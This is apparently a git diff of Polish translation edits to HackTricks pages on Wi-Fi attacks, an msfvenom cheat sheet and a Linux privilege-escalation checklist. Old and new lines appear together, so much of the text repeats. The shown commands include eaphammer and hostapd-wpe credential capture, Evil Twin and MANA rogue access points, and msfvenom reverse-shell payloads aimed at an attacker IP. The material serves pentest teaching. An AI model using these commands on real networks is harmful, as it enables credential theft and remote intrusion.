Bez względu na wybrany protokół, serwer PEAP/TTLS uzyskuje wiedzę o prawdziwej tożsamości użytkownika po nawiązaniu tunelu TLS. Prawdziwa tożsamość może być reprezentowana jako user@realm lub po prostu user. Jeśli serwer PEAP/TTLS jest również odpowiedzialny za uwierzytelnienie użytkownika, teraz posiada tożsamość użytkownika i kontynuuje metodę uwierzytelniania chronioną przez tunel TLS. Alternatywnie, serwer PEAP/TTLS może przekazać nowe żądanie RADIUS do domowego serwera RADIUS użytkownika. To nowe żądanie RADIUS pomija warstwę protokołu PEAP lub TTLS. W przypadkach, gdy chroniona metoda uwierzytelniania to EAP, wewnętrzne wiadomości EAP są przesyłane do domowego serwera RADIUS bez opakowania EAP-PEAP lub EAP-TTLS. Atrybut User-Name wiadomości RADIUS wychodzącej zawiera prawdziwą tożsamość użytkownika, zastępując anonimową nazwę użytkownika z przychodzącego żądania RADIUS. Gdy chroniona metoda uwierzytelniania to PAP lub CHAP (obsługiwane tylko przez TTLS), atrybut User-Name i inne atrybuty uwierzytelniania wyodrębnione z ładunku TLS są zastępowane w wychodzącej wiadomości RADIUS, zastępując anonimową nazwę użytkownika i atrybuty TTLS EAP-Message znajdujące się w przychodzącym żądaniu RADIUS.
Bez względu na wybrany protokół, serwer PEAP/TTLS uzyskuje wiedzę o prawdziwej tożsamości użytkownika po nawiązaniu tunelu TLS. Prawdziwa tożsamość może być reprezentowana jako user@realm lub po prostu user. Jeśli serwer PEAP/TTLS jest również odpowiedzialny za uwierzytelnienie użytkownika, teraz posiada tożsamość użytkownika i kontynuuje metodę uwierzytelniania chronioną przez tunel TLS. Alternatywnie, serwer PEAP/TTLS może przekazać nowe żądanie RADIUS do domowego serwera RADIUS użytkownika. To nowe żądanie RADIUS pomija warstwę protokołu PEAP lub TTLS. W przypadkach, gdy chroniona metoda uwierzytelniania to EAP, wewnętrzne wiadomości EAP są przesyłane do domowego serwera RADIUS bez opakowania EAP-PEAP lub EAP-TTLS. Atrybut User-Name w wychodzącej wiadomości RADIUS zawiera prawdziwą tożsamość użytkownika, zastępując anonimową nazwę użytkownika z przychodzącego żądania RADIUS. Gdy chroniona metoda uwierzytelniania to PAP lub CHAP (obsługiwane tylko przez TTLS), atrybut User-Name i inne atrybuty uwierzytelniania wyodrębnione z ładunku TLS są zastępowane w wychodzącej wiadomości RADIUS, zastępując anonimową nazwę użytkownika i atrybuty TTLS EAP-Message znajdujące się w przychodzącym żądaniu RADIUS.
Aby uzyskać więcej informacji, sprawdź [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
@ -438,7 +438,7 @@ Jeśli oczekuje się, że klient użyje **nazwa użytkownika i hasło** (zauważ
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
Możesz również przeprowadzić ten atak za pomocą `eaphammer`:
Możesz również przeprowadzić ten atak używając `eaphammer`:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -459,17 +459,17 @@ Możesz również przeprowadzić ten atak za pomocą `eaphammer`:
* Stacje przechowują ESSID każdej sieci bezprzewodowej, do której się łączą, w swojej Liście Preferowanych Sieci (PNL), wraz z szczegółami konfiguracji specyficznymi dla sieci.
* PNL jest używana do automatycznego łączenia się z znanymi sieciami, poprawiając doświadczenie użytkownika poprzez uproszczenie procesu łączenia.
### Skanowanie pasywne
### Pasywne skanowanie
* AP okresowo nadają ramki beacon, ogłaszając swoją obecność i cechy, w tym ESSID AP, chyba że nadawanie jest wyłączone.
* Podczas skanowania pasywnego stacje nasłuchują ramek beacon. Jeśli ESSID beacona pasuje do wpisu w PNL stacji, stacja może automatycznie połączyć się z tym AP.
* Znajomość PNL urządzenia umożliwia potencjalne wykorzystanie poprzez naśladowanie ESSID znanej sieci, oszukując urządzenie, aby połączyło się z nieautoryzowanym AP.
* Podczas pasywnego skanowania stacje nasłuchują ramek beacon. Jeśli ESSID beacona pasuje do wpisu w PNL stacji, stacja może automatycznie połączyć się z tym AP.
* Znajomość PNL urządzenia pozwala na potencjalne wykorzystanie poprzez naśladowanie ESSID znanej sieci, oszukując urządzenie, aby połączyło się z nieautoryzowanym AP.
### Aktywne sondowanie
* Aktywne sondowanie polega na wysyłaniu przez stacje żądań sondowania w celu odkrycia pobliskich AP i ich cech.
* Ukierunkowane żądania sondowania celują w konkretny ESSID, pomagając wykryć, czy dana sieć jest w zasięgu, nawet jeśli jest ukryta.
* Żądania sondowania rozgłoszeniowego mają pustą sekcję SSID i są wysyłane do wszystkich pobliskich AP, pozwalając stacji sprawdzić, czy istnieje jakaś preferowana sieć bez ujawniania zawartości swojej PNL.
* Żądania sondowania rozgłoszeniowego mają pustą sekcję SSID i są wysyłane do wszystkich pobliskich AP, pozwalając stacji sprawdzić, czy istnieje jakaś preferowana sieć, nie ujawniając zawartości swojej PNL.
## Prosty AP z przekierowaniem do Internetu
@ -557,9 +557,9 @@ Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
![](<../../.gitbook/assets/image (1088).png>)
Proszę zauważyć, że domyślnie, jeśli ESSID w PNL jest zapisany jako chroniony WPA, urządzenie nie połączy się automatycznie z otwartym evil Twin. Możesz spróbować DoS prawdziwego AP i mieć nadzieję, że użytkownik połączy się ręcznie z twoim otwartym evil twin, lub możesz DoS prawdziwego AP i użyć WPA Evil Twin, aby przechwycić handshake (używając tej metody nie będziesz w stanie pozwolić ofierze połączyć się z tobą, ponieważ nie znasz PSK, ale możesz przechwycić handshake i spróbować go złamać).
Proszę zauważyć, że domyślnie, jeśli ESSID w PNL jest zapisany jako chroniony WPA, urządzenie nie połączy się automatycznie z otwartym evil Twin. Możesz spróbować DoSować prawdziwy AP i mieć nadzieję, że użytkownik połączy się ręcznie z twoim otwartym evil twin, lub możesz DoSować prawdziwy AP i użyć WPA Evil Twin, aby przechwycić handshake (używając tej metody nie będziesz w stanie pozwolić ofierze połączyć się z tobą, ponieważ nie znasz PSK, ale możesz przechwycić handshake i spróbować go złamać).
_Niektóre systemy operacyjne i oprogramowanie antywirusowe ostrzegą użytkownika, że połączenie z otwartą siecią jest niebezpieczne..._
_Niektóre systemy operacyjne i oprogramowanie antywirusowe będą ostrzegać użytkownika, że połączenie z otwartą siecią jest niebezpieczne..._
### WPA/WPA2 Evil Twin
@ -578,7 +578,7 @@ Aby zrozumieć te ataki, zalecałbym przeczytanie wcześniej krótkiego [wyjaśn
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
W pliku konfiguracyjnym możesz wybrać wiele różnych rzeczy, takich jak ssid, kanał, pliki użytkowników, cret/klucz, parametry dh, wersja wpa i autoryzacja...
W pliku konfiguracyjnym możesz wybrać wiele różnych rzeczy, takich jak ssid, kanał, pliki użytkowników, cret/key, parametry dh, wersja wpa i auth...
[**Używanie hostapd-wpe z EAP-TLS, aby umożliwić logowanie za pomocą dowolnego certyfikatu.**](evil-twin-eap-tls.md)
@ -590,7 +590,7 @@ W pliku konfiguracyjnym możesz wybrać wiele różnych rzeczy, takich jak ssid,
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Domyślnie EAPHammer proponuje te metody uwierzytelniania (zauważ GTC jako pierwszą do próby uzyskania haseł w postaci czystego tekstu, a następnie użycie bardziej solidnych metod uwierzytelniania):
Domyślnie EAPHammer ma na celu te metody uwierzytelniania (zauważ GTC jako pierwszą, którą należy spróbować, aby uzyskać hasła w postaci tekstu jawnego, a następnie użycie bardziej solidnych metod uwierzytelniania):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
@ -618,7 +618,7 @@ _Ta metoda została przetestowana w połączeniu PEAP, ale ponieważ odszyfrowuj
W **konfiguracji** _hostapd-wpe_ **zakomentuj** linię, która zawiera _**dh\_file**_ (z `dh_file=/etc/hostapd-wpe/certs/dh` na `#dh_file=/etc/hostapd-wpe/certs/dh`)\
To spowoduje, że `hostapd-wpe` **wymieni klucze używając RSA** zamiast DH, więc będziesz mógł **odszyfrować** ruch później **znając prywatny klucz serwera**.
Teraz uruchom **Evil Twin** używając **`hostapd-wpe`** z tą zmodyfikowaną konfiguracją jak zwykle. Uruchom również **`wireshark`** w **interfejsie**, który wykonuje atak Evil Twin.
Teraz uruchom **Evil Twin** używając **`hostapd-wpe`** z tą zmodyfikowaną konfiguracją jak zwykle. Uruchom również **`wireshark`** w **interfejsie**, który przeprowadza atak Evil Twin.
Teraz lub później (gdy już przechwyciłeś kilka prób autoryzacji) możesz dodać prywatny klucz RSA do wireshark w: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
@ -637,9 +637,9 @@ I spójrz na nową **zakładkę "Decrypted TLS"**:
Różne typy list filtrów dostępu do mediów (MFACL) oraz ich odpowiadające tryby i efekty na zachowanie fałszywego punktu dostępu (AP):
1. **Biała lista oparta na MAC**:
* Fałszywy AP będzie odpowiadał tylko na zapytania probe od urządzeń określonych na białej liście, pozostając niewidoczny dla wszystkich innych, które nie są wymienione.
* Fałszywy AP będzie odpowiadał tylko na zapytania probe od urządzeń określonych na białej liście, pozostając niewidocznym dla wszystkich innych, które nie są wymienione.
2. **Czarna lista oparta na MAC**:
* Fałszywy AP zignoruje zapytania probe od urządzeń na czarnej liście, skutecznie czyniąc fałszywego AP niewidocznym dla tych konkretnych urządzeń.
* Fałszywy AP zignoruje zapytania probe od urządzeń na czarnej liście, skutecznie czyniąc fałszywy AP niewidocznym dla tych konkretnych urządzeń.
3. **Biała lista oparta na SSID**:
* Fałszywy AP będzie odpowiadał na zapytania probe tylko dla określonych ESSID-ów wymienionych na liście, czyniąc go niewidocznym dla urządzeń, których preferencyjne listy sieci (PNL) nie zawierają tych ESSID-ów.
4. **Czarna lista oparta na SSID**:
@ -669,29 +669,29 @@ Ta metoda pozwala **atakującemu na stworzenie złośliwego punktu dostępowego
### MANA
Następnie **urządzenia zaczęły ignorować niezamówione odpowiedzi sieciowe**, co zmniejszyło skuteczność pierwotnego ataku karma. Jednak nowa metoda, znana jako **atak MANA**, została wprowadzona przez Iana de Villiersa i Dominica White'a. Metoda ta polega na tym, że fałszywy AP **przechwytuje listy preferowanych sieci (PNL) z urządzeń, odpowiadając na ich rozgłoszone zapytania probe** nazwami sieci (SSID), które wcześniej były żądane przez urządzenia. Ten zaawansowany atak omija zabezpieczenia przed pierwotnym atakiem karma, wykorzystując sposób, w jaki urządzenia zapamiętują i priorytetyzują znane sieci.
Następnie **urządzenia zaczęły ignorować niezamówione odpowiedzi sieciowe**, co zmniejszyło skuteczność pierwotnego ataku karma. Jednak nowa metoda, znana jako **atak MANA**, została wprowadzona przez Iana de Villiersa i Dominica White'a. Metoda ta polega na tym, że fałszywy AP **przechwytuje listy preferowanych sieci (PNL) z urządzeń, odpowiadając na ich rozgłoszone zapytania probe** nazwami sieci (SSID), które wcześniej były solicytowane przez urządzenia. Ten zaawansowany atak omija zabezpieczenia przed pierwotnym atakiem karma, wykorzystując sposób, w jaki urządzenia zapamiętują i priorytetyzują znane sieci.
Atak MANA działa, monitorując zarówno skierowane, jak i rozgłoszone zapytania probe z urządzeń. W przypadku skierowanych zapytań rejestruje adres MAC urządzenia oraz żądaną nazwę sieci, dodając te informacje do listy. Gdy otrzymane zostanie zapytanie rozgłoszone, AP odpowiada informacjami odpowiadającymi którejkolwiek z sieci na liście urządzenia, zachęcając urządzenie do połączenia się z fałszywym AP.
Atak MANA działa poprzez monitorowanie zarówno skierowanych, jak i rozgłoszonych zapytań probe z urządzeń. W przypadku skierowanych zapytań, rejestruje adres MAC urządzenia oraz żądaną nazwę sieci, dodając te informacje do listy. Gdy otrzymane zostanie zapytanie rozgłoszone, AP odpowiada informacjami odpowiadającymi którejkolwiek z sieci na liście urządzenia, zachęcając urządzenie do połączenia się z fałszywym AP.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Loud MANA
Atak **Loud MANA** to zaawansowana strategia, gdy urządzenia nie używają kierunkowego przeszukiwania lub gdy ich Lista Preferowanych Sieci (PNL) jest nieznana atakującemu. Działa na zasadzie, że **urządzenia w tym samym obszarze prawdopodobnie dzielą niektóre nazwy sieci w swoich PNL**. Zamiast odpowiadać selektywnie, ten atak nadaje odpowiedzi na zapytania dla każdej nazwy sieci (ESSID) znalezionej w połączonych PNL wszystkich obserwowanych urządzeń. To szerokie podejście zwiększa szansę, że urządzenie rozpozna znajomą sieć i spróbuje połączyć się z fałszywym punktem dostępowym (AP).
Atak **Loud MANA** to zaawansowana strategia, gdy urządzenia nie używają kierunkowego przeszukiwania lub gdy ich Lista Preferowanych Sieci (PNL) jest nieznana atakującemu. Działa na zasadzie, że **urządzenia w tym samym obszarze prawdopodobnie dzielą niektóre nazwy sieci w swoich PNL**. Zamiast odpowiadać selektywnie, ten atak nadaje odpowiedzi na zapytania dla każdej nazwy sieci (ESSID) znalezionej w połączonych PNL wszystkich obserwowanych urządzeń. To szerokie podejście zwiększa szansę, że urządzenie rozpozna znajomą sieć i spróbuje połączyć się z nieautoryzowanym punktem dostępowym (AP).
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Known Beacon attack
Gdy **Loud MANA attack** może nie wystarczyć, **Known Beacon attack** przedstawia inne podejście. Ta metoda **brute-forces proces połączenia, symulując AP, który odpowiada na dowolną nazwę sieci, przechodząc przez listę potencjalnych ESSID-ów** pochodzących z listy słów. To symuluje obecność licznych sieci, mając nadzieję na dopasowanie ESSID w PNL ofiary, co skłania do próby połączenia z fałszywym AP. Atak można wzmocnić, łącząc go z opcją `--loud` w celu bardziej agresywnej próby przechwycenia urządzeń.
Gdy **Loud MANA attack** może nie wystarczyć, **Known Beacon attack** przedstawia inne podejście. Ta metoda **brute-forces proces połączenia, symulując AP, który odpowiada na dowolną nazwę sieci, przechodząc przez listę potencjalnych ESSID-ów** pochodzących z listy słów. To symuluje obecność licznych sieci, mając nadzieję na dopasowanie ESSID w PNL ofiary, co skłania do próby połączenia z fałszywym AP. Atak można wzmocnić, łącząc go z opcją `--loud`, aby uzyskać bardziej agresywną próbę przechwycenia urządzeń.
Eaphammer zaimplementował ten atak jako atak MANA, w którym wszystkie ESSID-y z listy są ładowane (możesz również połączyć to z `--loud`, aby stworzyć atak Loud MANA + Known beacons):
Eaphammer zaimplementował ten atak jako MANA attack, w którym wszystkie ESSID-y z listy są ładowane (możesz również połączyć to z `--loud`, aby stworzyć atak Loud MANA + Known beacons):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Atak znanego wybuchu sygnału**
Atak **znanego wybuchu sygnału** polega na **szybkiej transmisji ramek sygnałowych dla każdego ESSID wymienionego w pliku**. Tworzy to gęste środowisko fałszywych sieci, znacznie zwiększając prawdopodobieństwo, że urządzenia połączą się z nieautoryzowanym punktem dostępowym, szczególnie w połączeniu z atakiem MANA. Technika ta wykorzystuje szybkość i objętość, aby przytłoczyć mechanizmy wyboru sieci urządzeń.
Atak **znanego wybuchu sygnału** polega na **szybkim nadawaniu ramek sygnałowych dla każdego ESSID wymienionego w pliku**. Tworzy to gęste środowisko fałszywych sieci, znacznie zwiększając prawdopodobieństwo, że urządzenia połączą się z nieautoryzowanym AP, szczególnie w połączeniu z atakiem MANA. Technika ta wykorzystuje szybkość i objętość, aby przytłoczyć mechanizmy wyboru sieci urządzeń.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -702,13 +702,13 @@ Atak **znanego wybuchu sygnału** polega na **szybkiej transmisji ramek sygnało
```
## Wi-Fi Direct
**Wi-Fi Direct** to protokół umożliwiający urządzeniom bezpośrednie łączenie się ze sobą za pomocą Wi-Fi, bez potrzeby tradycyjnego punktu dostępowego. Ta funkcjonalność jest zintegrowana w różnych urządzeniach Internetu Rzeczy (IoT), takich jak drukarki i telewizory, ułatwiając bezpośrednią komunikację między urządzeniami. Ciekawą cechą Wi-Fi Direct jest to, że jedno urządzenie pełni rolę punktu dostępowego, znanego jako właściciel grupy, aby zarządzać połączeniem.
**Wi-Fi Direct** to protokół umożliwiający urządzeniom bezpośrednie łączenie się ze sobą za pomocą Wi-Fi bez potrzeby tradycyjnego punktu dostępowego. Ta funkcjonalność jest zintegrowana w różnych urządzeniach Internetu Rzeczy (IoT), takich jak drukarki i telewizory, ułatwiając bezpośrednią komunikację między urządzeniami. Ciekawą cechą Wi-Fi Direct jest to, że jedno urządzenie pełni rolę punktu dostępowego, znanego jako właściciel grupy, aby zarządzać połączeniem.
Bezpieczeństwo połączeń Wi-Fi Direct jest ustanawiane za pomocą **Wi-Fi Protected Setup (WPS)**, które wspiera kilka metod bezpiecznego parowania, w tym:
Bezpieczeństwo połączeń Wi-Fi Direct jest ustanawiane przez **Wi-Fi Protected Setup (WPS)**, które wspiera kilka metod bezpiecznego parowania, w tym:
* **Konfiguracja przyciskiem (PBC)**
* **Push-Button Configuration (PBC)**
* **Wprowadzenie PIN-u**
* **Komunikacja w bliskim zasięgu (NFC)**
* **Near-Field Communication (NFC)**
Metody te, szczególnie wprowadzenie PIN-u, są podatne na te same luki jak WPS w tradycyjnych sieciach Wi-Fi, co czyni je celem dla podobnych wektorów ataku.
@ -731,9 +731,9 @@ Metody te, szczególnie wprowadzenie PIN-u, są podatne na te same luki jak WPS
TODO: Sprawdź [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (logowanie przez Facebooka i imitacja WPA w portalach przechwytujących)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bugów!
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Hacking Insights**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
@ -742,9 +742,9 @@ Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związa
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym
**Latest Announcements**\
Bądź na bieżąco z najnowszymi nagrodami za błędy oraz istotnymi aktualizacjami platformy
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -752,7 +752,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
<details>
<summary>Wsparcie dla HackTricks</summary>
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,44 +1,44 @@
# MSFVenom - CheatSheet
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Wsparcie HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Wgląd w Hacking**\
Zaangażuj się w treści, które zgłębiają dreszczyk emocji i wyzwania związane z hackingiem
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
***
## Basic msfvenom
## Podstawowy msfvenom
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
Można również użyć `-a`, aby określić architekturę lub `--platform`
## Listing
## Lista
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
@ -126,8 +126,6 @@ msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port)
{% endcode %}
### SunOS (Solaris)
{% code overflow="wrap" %}
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
@ -219,9 +217,9 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w Hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem

View file

@ -10,34 +10,34 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w hacking**\
Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności o hackingu w czasie rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
### **Najlepsze narzędzie do wyszukiwania wektorów eskalacji uprawnień lokalnych w systemie Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### **Najlepsze narzędzie do wyszukiwania wektorów lokalnej eskalacji uprawnień w systemie Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### [Informacje o systemie](privilege-escalation/#system-information)
* [ ] Uzyskaj **informacje o systemie operacyjnym**
* [ ] Sprawdź [**PATH**](privilege-escalation/#path), czy jest jakaś **zapisywalna folder**?
* [ ] Sprawdź [**zmienne środowiskowe**](privilege-escalation/#env-info), czy są jakieś wrażliwe dane?
* [ ] Szukaj [**eksploitów jądra**](privilege-escalation/#kernel-exploits) **używając skryptów** (DirtyCow?)
* [ ] Szukaj [**eksploatacji jądra**](privilege-escalation/#kernel-exploits) **za pomocą skryptów** (DirtyCow?)
* [ ] **Sprawdź**, czy [**wersja sudo** jest podatna](privilege-escalation/#sudo-version)
* [ ] [**Weryfikacja podpisu Dmesg** nie powiodła się](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Więcej informacji o systemie ([data, statystyki systemu, informacje o CPU, drukarki](privilege-escalation/#more-system-enumeration))
@ -58,10 +58,10 @@ Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizac
* [ ] Czy jakieś **nieznane oprogramowanie działa**?
* [ ] Czy jakieś oprogramowanie działa z **większymi uprawnieniami niż powinno**?
* [ ] Szukaj **eksploitów działających procesów** (szczególnie wersji, która działa).
* [ ] Czy możesz **zmodyfikować binarny** plik jakiegokolwiek działającego procesu?
* [ ] Szukaj **eksploatacji działających procesów** (szczególnie wersji działającej).
* [ ] Czy możesz **zmodyfikować binarny** plik jakiegoś działającego procesu?
* [ ] **Monitoruj procesy** i sprawdź, czy jakiś interesujący proces działa często.
* [ ] Czy możesz **odczytać** pamięć **procesu** (gdzie mogą być zapisane hasła)?
* [ ] Czy możesz **odczytać** jakąś interesującą **pamięć procesu** (gdzie mogą być zapisane hasła)?
### [Zadania zaplanowane/Cron?](privilege-escalation/#scheduled-jobs)
@ -74,7 +74,7 @@ Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizac
* [ ] Czy jest jakiś **zapisywalny plik .service**?
* [ ] Czy jest jakiś **zapisywalny plik binarny** wykonywany przez **usługę**?
* [ ] Czy jest jakiś **zapisywalny folder w PATH systemd**?
* [ ] Czy jest jakiś **zapisywalny folder w systemd PATH**?
### [Timery](privilege-escalation/#timers)
@ -83,49 +83,49 @@ Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizac
### [Gniazda](privilege-escalation/#sockets)
* [ ] Czy jest jakiś **zapisywalny plik .socket**?
* [ ] Czy możesz **komunikować się z jakimkolwiek gniazdem**?
* [ ] Czy możesz **komunikować się z jakimś gniazdem**?
* [ ] **Gniazda HTTP** z interesującymi informacjami?
### [D-Bus](privilege-escalation/#d-bus)
* [ ] Czy możesz **komunikować się z jakimkolwiek D-Bus**?
* [ ] Czy możesz **komunikować się z jakimś D-Bus**?
### [Sieć](privilege-escalation/#network)
* [ ] Zenumeruj sieć, aby wiedzieć, gdzie jesteś
